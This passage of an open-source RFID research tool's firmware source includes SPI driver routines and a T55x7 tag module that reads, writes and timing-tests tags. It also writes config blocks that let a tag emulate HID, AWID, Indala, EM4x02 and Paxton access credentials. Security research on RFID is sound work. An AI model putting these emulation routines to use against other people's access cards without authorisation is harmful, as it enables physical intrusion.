these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include <plib.h>\n#include \"spi.h\"\n#include \"HardwareProfile.h\"\n\nvoid initSpiTransfer(BYTE txByte, BYTE *rxByte)\n{\n    SPI_POT_BUFF= txByte;\n    while(!SPI_POT_STAT.SPIRBF)\n        ;\n    *rxByte= SPI_POT_BUFF;\n}\n\nvoid initSpiTransfer16(unsigned int txWord, unsigned int *rxWord)\n{\n    SPI_POT_BUFF= txWord;\n    while(!SPI_POT_STAT.SPIRBF)\n        ;\n    *rxWord= SPI_POT_BUFF;\n}\n\n\nBYTE sendSpiCommand(BYTE command, BYTE error_ok, unsigned int arglen, BYTE *arg, unsigned int retlen, BYTE *retdata)\n{\n    unsigned int i;\n\n    // switch on device and give it time to wake up\n    //SPI_DEV_ENABLE();\n    SpiChnOpen(SPI_POT, SPI_OPEN_MODE8|SPI_OPEN_MSTEN|SPI_OPEN_MSSEN|SPI_OPEN_CKE_REV, 16); // 16 == 6mhz\n\n    initSpiTransfer(command, retdata);\n\n    // send command & check error status\n    if(*retdata & error_ok != error_ok)\n    {\n        SpiChnClose(SPI_POT);\n        return *retdata;\n    }\n\n    // send optional data\n    for(i= 0; i < arglen ; ++i)\n        initSpiTransfer(arg[i], retdata);\n\n    // get return by ticking clock on empty value\n    for (i= 0; i < retlen ; ++i)\n        initSpiTransfer(SPI_NULL, retdata + i);\n\n    SpiChnClose(SPI_POT);\n    return 0;\n}\n\nunsigned int sendSpiCommand16(unsigned int command, BYTE error_ok, unsigned int arglen, unsigned int *arg, unsigned int retlen, unsigned int *retdata)\n{\n    unsigned int i;\n\n    // switch on device and give it time to wake up\n    //SPI_DEV_ENABLE();\n    SpiChnOpen(SPI_POT, SPI_OPEN_MODE16|SPI_OPEN_MSTEN|SPI_OPEN_MSSEN|SPI_OPEN_CKE_REV, 16); // 16 == 6mhz\n\n    initSpiTransfer16(command, retdata);\n\n    // send command & check error status\n    if(*retdata & error_ok != error_ok)\n    {\n        SpiChnClose(SPI_POT);\n        return *retdata;\n    }\n\n    // send optional data\n    for(i= 0; i < arglen ; ++i)\n        initSpiTransfer16(arg[i], retdata);\n\n    // get return by ticking clock on empty value\n    for (i= 0; i < retlen ; ++i)\n        initSpiTransfer16(SPI_NULL, retdata + i);\n\n    SpiChnClose(SPI_POT);\n    return 0;\n}\n\nvoid pauseSpi(void)\n{\n    BYTE dummy;\n\n    // do nothing for one command-period\n    initSpiTransfer(SPI_NULL, &dummy);\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/t55x7.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"t55x7.h\"\n#include \"rwd.h\"\n#include \"psk.h\"\n#include \"util.h\"\n#include \"comms.h\"\n#include \"config.h\"\n\nconst BYTE *T55x7_Compat_Modulation[]= {\"NRZ/Direct\", \"PSK1\", \"PSK2\", \"PSK3\", \"FSK1\", \"FSK2\", \"FSK1a\", \"FSK2a\", \"Manchester\"};\n\nconst BYTE T55x7_Compat_Data_Rates[]= {8, 16, 32, 40, 50, 64, 100, 128};\n\n// response length in bits\nBOOL t55x7_send_command(BYTE *response, BYTE *command, BYTE length, BOOL reset, BOOL sync, BYTE response_length)\n{\n    // send command\n    if(!rwd_send(command, length, reset, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, T55X7_START_GAP - RFIDlerConfig.RWD_Gap_Period, 0, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n        return FALSE;\n\n    if(!response_length)\n        return TRUE;\n\n    // wait for T55x7 damping to kick in: t55x7 may create a false pulse during RWD receipt, so wait for it to recognise\n    // command and shut down before trying to read response.\n    GetTimer_us(RESET);\n    while(READER_DATA)\n        if(GetTimer_us(NO_RESET) > RFIDlerConfig.Timeout)\n            return FALSE;\n\n    // skip 4 bit Sequence Terminator pattern and leading '0'\n    HW_Skip_Bits= 10; // 10 primitive 'bits' manchester encoded\n\n//    DEBUG_PIN_4= !DEBUG_PIN_4;\n//    DEBUG_PIN_4= !DEBUG_PIN_4;\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, response, response_length, RFIDlerConfig.Sync, sync ? RFIDlerConfig.SyncBits : 0, RFIDlerConfig.Timeout, ONESHOT_READ, HEX) == response_length)\n    {\n        // delay for RX->TX time\n        Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wait_Switch_RX_TX) / 100);\n        return TRUE;\n    }\n    return FALSE;\n}\n\n// get raw UID\nBOOL t55x7_get_uid(BYTE *response)\n{\n    BYTE tmp[33]; // 16 hex digits\n\n    // t55x7 will be stuck if last command was a read or write, so always hard reset\n    stop_HW_clock();\n\n    // delay for sleep period\n    Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Sleep_Period) / 100);\n\n    // delay for startup time\n    Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);\n\n    // t55x7 has fixed tracebility data - 2 x 32 bit blocks\n    if(t55x7_send_command(tmp, T55X7_GET_TRACE_DATA, strlen(T55X7_GET_TRACE_DATA), NO_RESET, SYNC, 64))\n    {\n        strcpy(response, tmp);\n        return TRUE;\n    }\n    return FALSE;\n}\n\nBOOL t55x7_read_block(BYTE *response, BYTE block)\n{\n    BYTE tmp[39], retry, reset= FALSE;\n\n    if(block > T55X7_DATABLOCKS - 1)\n        return FALSE;\n\n    // create 6 or 38 bit command block: Q5_DIRECT_ACCESS + PWD_Mode + [PWD] + 3 bits address\n    memset(tmp, '\\0', 39);\n    memcpy(tmp, T55X7_DIRECT_ACCESS, 2);\n    if(PWD_Mode)\n    {\n        tmp[2]= '1';\n        hextobinstring(tmp + 3, Password);\n        inttobinstring(tmp + 34, (unsigned int) block, 3);\n    }\n    else\n    {\n        tmp[2]= '0';\n        inttobinstring(tmp + 3, (unsigned int) block, 3);\n    }\n\n    retry= RFIDlerConfig.Repeat;\n    while(retry--)\n    {\n        //DEBUG_PIN_4= !DEBUG_PIN_4;\n        //DEBUG_PIN_4= !DEBUG_PIN_4;\n        if(t55x7_send_command(response, tmp, strlen(tmp), reset, NO_SYNC, 32))\n            return TRUE;\n        // try resetting tag\n        reset= TRUE;\n    }\n\n    return FALSE;\n}\n\n// optional verify as writing config block may casue next read to fail\nBOOL t55x7_write_block(BYTE block, BYTE *data, BOOL lock, BOOL verify)\n{\n    BYTE tmp[71], p;\n\n    if(block > T55X7_DATABLOCKS - 1)\n        return FALSE;\n\n    // create 38 or 70 bit command block: T55X7_STD_WRITE_P0 + [PWD] + Lock Bit + 32 bits Data + 3 bits address\n    memset(tmp, '\\0', sizeof(tmp));\n\n    // command\n    memcpy(tmp, T55X7_STD_WRITE_P0, 2);\n    p= 2;\n\n    // password\n    if(PWD_Mode)\n    {\n        hextobinstring(tmp + p, Password);\n        p += 32;\n    }\n\n    // lockbit\n    inttobinstring(tmp + p, (unsigned int) lock, 1);\n    ++p;\n\n    // data\n    hextobinstring(tmp + p, data);\n    p += T55X7_BLOCKSIZE;\n\n    // address\n    inttobinstring(tmp + p, (unsigned int) block, 3);\n    p += 3;\n\n    // send\n    if(!t55x7_send_command(NULL, tmp, strlen(tmp), NO_RESET, NO_SYNC, 0))\n         return FALSE;\n\n    // no ack, so read back and verify\n    // delay for long enough to allow write plus TX->RX period\n    Delay_us((T55X7_WRITE_DELAY * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_TX_RX * RFIDlerConfig.FrameClock) / 100L);\n\n    if(!verify)\n        return TRUE;\n\n    if(!t55x7_read_block(tmp, block))\n        return FALSE;\n    if(memcmp(tmp, data, HEXDIGITS(T55X7_BLOCKSIZE)) != 0)\n        return FALSE;\n\n    return TRUE;\n}\n\n// try to find values that correctly transmit all commands to t55x7\n// so that a GET_UID command will return a true value\nBOOL t55x7_rwd_test(BYTE *pattern)\n{\n    BYTE gap, one, zero, i, tmp[T55X7_BLOCKSIZE * 2 + 1];\n    BOOL found= FALSE;\n\n    // min/max from datasheets\n    for(one= 48 ; one <= 63 ; ++one)\n        for(zero= 16; zero <= 31 ; ++zero)\n            for(gap=  8 ; gap <= 30 ; ++gap)\n            {\n                if(get_user_abort())\n                    return found;\n                RFIDlerConfig.RWD_Gap_Period= gap;\n                RFIDlerConfig.RWD_One_Period= one;\n                RFIDlerConfig.RWD_Zero_Period= zero;\n                if(get_tag_uid(tmp))\n                {\n                    UserMessageNum(\" gap: %d\", gap);\n                    UserMessageNum(\" one: %d\", one);\n                    UserMessageNum(\" zero: %d\", zero);\n                    UserMessage(\" UID: %s\\r\\n\", tmp);\n                    found= TRUE;\n                }\n            }\n    UserMessage(\"%s\", \"\\r\\n\");\n    return found;\n}\n\nBOOL t55x7_config_block_show(BYTE *config, BYTE *password)\n{\n    uint32_t    value= hextoulong(config);\n    BOOL        xmode;\n\n    UserMessage(\"  Config Block (0): %.8s\\r\\n\\r\\n\", config);\n    UserMessageNum(\"        Master Key: %d  = \", GET_CONFIG(value, T55X7_MASK_MASTER_KEY, T55X7_SHIFT_MASTER_KEY));\n    if(GET_CONFIG(value, T55X7_MASK_MASTER_KEY, T55X7_SHIFT_MASTER_KEY) == T55X7_COMPAT_MODE)\n        UserMessage(\"%s\\r\\n\", \"Compatibility Mode\");\n    else\n        if(GET_CONFIG(value, T55X7_MASK_MASTER_KEY, T55X7_SHIFT_MASTER_KEY) == T55X7_XMODE_MODE)\n            UserMessage(\"%s\\r\\n\", \"Extended Mode\");\n        else\n            UserMessage(\"%s\\r\\n\", \"Undefined Mode\");\n    xmode= GET_CONFIG(value, T55X7_MASK_XMODE, T55X7_SHIFT_XMODE);\n    UserMessage(\"            X-Mode: %s\\r\\n\", xmode ? \"True\" : \"False\");\n\n    // display additional/alternate fields if in xmode\n    if(xmode)\n    {\n        UserMessageNum(\"         Data Rate: %02d = \", GET_CONFIG(value, T55X7_XMODE_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE));\n        UserMessageNum(\"%d * FC\\r\\n\", GET_CONFIG(value, T55X7_XMODE_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE) * 2 + 2);\n        UserMessageNum(\"        Modulation: %02d = \", GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION));\n        if(GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION) > 8)\n        {\n            if(GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)== T55X7_MOD_BIPHASE_50)\n                UserMessage(\"%s\\r\\n\", \"BiPhase ('50)\");\n            else\n                if (GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)== T55X7_MOD_BIPHASE_57)\n                    UserMessage(\"%s\\r\\n\", \"BiPhase ('57)\");\n                else\n                    UserMessage(\"%s\\r\\n\", \"Invalid\");\n        }\n        else\n            UserMessage(\"%s\\r\\n\", (BYTE *) T55x7_Compat_Modulation[GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)]);\n       UserMessage(\"              SST: %s\\r\\n\", GET_CONFIG(value, T55X7_XMODE_MASK_SST, T55X7_SHIFT_ST_SST) ? \"True\" : \"False\");\n    }\n    else\n    {\n        UserMessageNum(\"         Data Rate: %02d = \", GET_CONFIG(value, T55X7_COMPAT_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE));\n        UserMessageNum(\"%d * FC\\r\\n\", T55x7_Compat_Data_Rates[GET_CONFIG(value, T55X7_COMPAT_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE)]);\n        UserMessageNum(\"        Modulation: %02d = \", GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION));\n        if(GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION) > 8)\n        {\n            if(GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)== 16)\n                UserMessage(\"%s\\r\\n\", \"BiPhase ('50)\");\n            else\n                UserMessage(\"%s\\r\\n\", \"Reserved/Invalid\");\n        }\n        else\n            UserMessage(\"%s\\r\\n\", (BYTE *) T55x7_Compat_Modulation[GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)]);\n        UserMessage(\"                ST: %s\\r\\n\", GET_CONFIG(value, T55X7_COMPAT_MASK_ST, T55X7_SHIFT_ST_SST) ? \"True\" : \"False\");\n    }\n    // display common fields\n    UserMessageNum(\"       PSK Carrier: %d = \", GET_CONFIG(value, T55X7_MASK_PSK_CARRIER_FREQ, T55X7_SHIFT_PSK_CARRIER_FREQ));\n    if(GET_CONFIG(value, T55X7_MASK_PSK_CARRIER_FREQ, T55X7_SHIFT_PSK_CARRIER_FREQ) > 2)\n        UserMessage(\"%s\\r\\n\", \"Reserved\");\n    else\n        UserMessageNum(\"%d * FC\\r\\n\", GET_CONFIG(value, T55X7_MASK_PSK_CARRIER_FREQ, T55X7_SHIFT_PSK_CARRIER_FREQ) * 2 + 2);\n    UserMessageNum(\"          Maxblock: %d\\r\\n\", GET_CONFIG(value, T55X7_MASK_MAX_BLOCK, T55X7_SHIFT_MAX_BLOCK));\n    UserMessage(\"               AOR: %s\\r\\n\", GET_CONFIG(value, T55X7_MASK_AOR, T55X7_SHIFT_AOR) ? \"True\" : \"False\");\n    UserMessage(\"               OTP: %s\\r\\n\", GET_CONFIG(value, T55X7_MASK_OTP, T55X7_SHIFT_OTP) ? \"True\" : \"False\");\n    UserMessage(\"               PWD: %s\\r\\n\", GET_CONFIG(value, T55X7_MASK_PWD, T55X7_SHIFT_PWD) ? \"True\" : \"False\");\n    UserMessage(\"        Fast Write: %s\\r\\n\", GET_CONFIG(value, T55X7_MASK_FAST_WRITE, T55X7_SHIFT_FAST_WRITE) ? \"True\" : \"False\");\n    UserMessage(\"      Inverse Data: %s\\r\\n\", GET_CONFIG(value, T55X7_MASK_INVERSE_DATA, T55X7_SHIFT_INVERSE_DATA) ? \"True\" : \"False\");\n    UserMessage(\"         POR Delay: %s\\r\\n\", GET_CONFIG(value, T55X7_MASK_POR_DELAY, T55X7_SHIFT_POR_DELAY) ? \"True\" : \"False\");\n\n    UserMessage(\"\\r\\n     PWD Block (7): %.8s    \", password);\n    printhexreadable(password, 4);\n    UserMessage(\"%s\", \"\\r\\n\");\n    return TRUE;\n}\n\n//// create a config block based on current tag settings\nBOOL t55x7_create_config_block(BYTE *config)\n{\n    uint32_t    value= hextoulong(config);\n    BYTE        i, tmp, xmode= FALSE;\n\n    // first decide if we need to be in extended mode or not\n\n    // invert is only supported in x-mode\n    if(RFIDlerConfig.Invert)\n        xmode= TRUE;\n\n    // is data rate supported by compat mode?\n    for(i= 0, tmp= FALSE ; i < sizeof(T55x7_Compat_Data_Rates) ; ++i)\n        if(RFIDlerConfig.DataRate == T55x7_Compat_Data_Rates[i])\n        {\n            tmp= TRUE;\n            break;\n        }\n    if(!tmp)\n        xmode= TRUE;\n\n    // data rate\n    if(xmode)\n    {\n       value= SET_CONFIG(value, T55X7_MASK_MASTER_KEY, T55X7_SHIFT_MASTER_KEY, T55X7_XMODE_MODE);\n       value= SET_CONFIG(value, T55X7_MASK_XMODE, T55X7_SHIFT_XMODE, TRUE);\n       value= SET_CONFIG(value, T55X7_XMODE_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE, (RFIDlerConfig.DataRate - 2) / 2);\n    }\n    else\n       value= SET_CONFIG(value, T55X7_COMPAT_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE, i);\n\n    // psk sub-carrier\n    if(RFIDlerConfig.DataRateSub0)\n        value= SET_CONFIG(value, T55X7_MASK_PSK_CARRIER_FREQ, T55X7_SHIFT_PSK_CARRIER_FREQ, RFIDlerConfig.DataRateSub0 / 4);\n\n    // modulation\n    if(RFIDlerConfig.Manchester && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)\n        tmp= T55X7_MOD_MANCHESTER;\n    else\n    {\n        // todo - add general support for biphase 57 (but this is just biphase 50 with inversion)\n        if(RFIDlerConfig.BiPhase && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)\n            tmp= T55X7_MOD_BIPHASE_50;\n        else\n            switch(RFIDlerConfig.Modulation)\n            {\n                case MOD_MODE_ASK_OOK:\n                    tmp= T55X7_MOD_DIRECT;\n                    break;\n                case MOD_MODE_FSK1:\n                    tmp= T55X7_MOD_FSK1;\n                    break;\n                case MOD_MODE_FSK2:\n                    tmp= T55X7_MOD_FSK2;\n                    break;\n                case MOD_MODE_PSK1:\n                    tmp= T55X7_MOD_PSK1;\n                    break;\n                case MOD_MODE_PSK2:\n                    tmp= T55X7_MOD_PSK2;\n                    break;\n                case MOD_MODE_PSK3:\n                    tmp= T55X7_MOD_PSK3;\n                    break;\n                default:\n                    return FALSE;\n            }\n    }\n    value= SET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION, tmp);\n\n    // data blocks\n    value= SET_CONFIG(value, T55X7_MASK_MAX_BLOCK, T55X7_SHIFT_MAX_BLOCK, RFIDlerConfig.DataBits / T55X7_BLOCKSIZE);\n\n    ulongtohex(config, value);\n\n    return TRUE;\n}\n\n// set a config block suitable for emulating\nBOOL t55x7_emulate_config_block(BYTE *config, BYTE target_tagtype)\n{\n    switch (target_tagtype)\n    {\n       case TAG_TYPE_ASK_RAW:\n       case TAG_TYPE_FSK1_RAW:\n       case TAG_TYPE_FSK2_RAW:\n       case TAG_TYPE_PSK1_RAW:\n       case TAG_TYPE_PSK2_RAW:\n       case TAG_TYPE_PSK3_RAW:\n           memcpy(config, T55X7_RAW_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));\n           t55x7_create_config_block(config);\n           return TRUE;\n\n       case TAG_TYPE_AWID_26:\n       case TAG_TYPE_HID_26:\n            memcpy(config, T55X7_HID_26_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_FDXB:\n            memcpy(config, T55X7_FDXB_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_INDALA_64:\n            memcpy(config, T55X7_INDALA_64_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_INDALA_224:\n            memcpy(config, T55X7_INDALA_224_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_EM4X02:\n        case TAG_TYPE_UNIQUE:\n        case TAG_TYPE_PAXTON:\n            memcpy(config, T55X7_EM_UNIQUE_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_T55X7:\n            memcpy(config, T55X7_DEFAULT_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));\n            return TRUE;\n\n        default:\n            return FALSE;\n    }\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/tags.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * 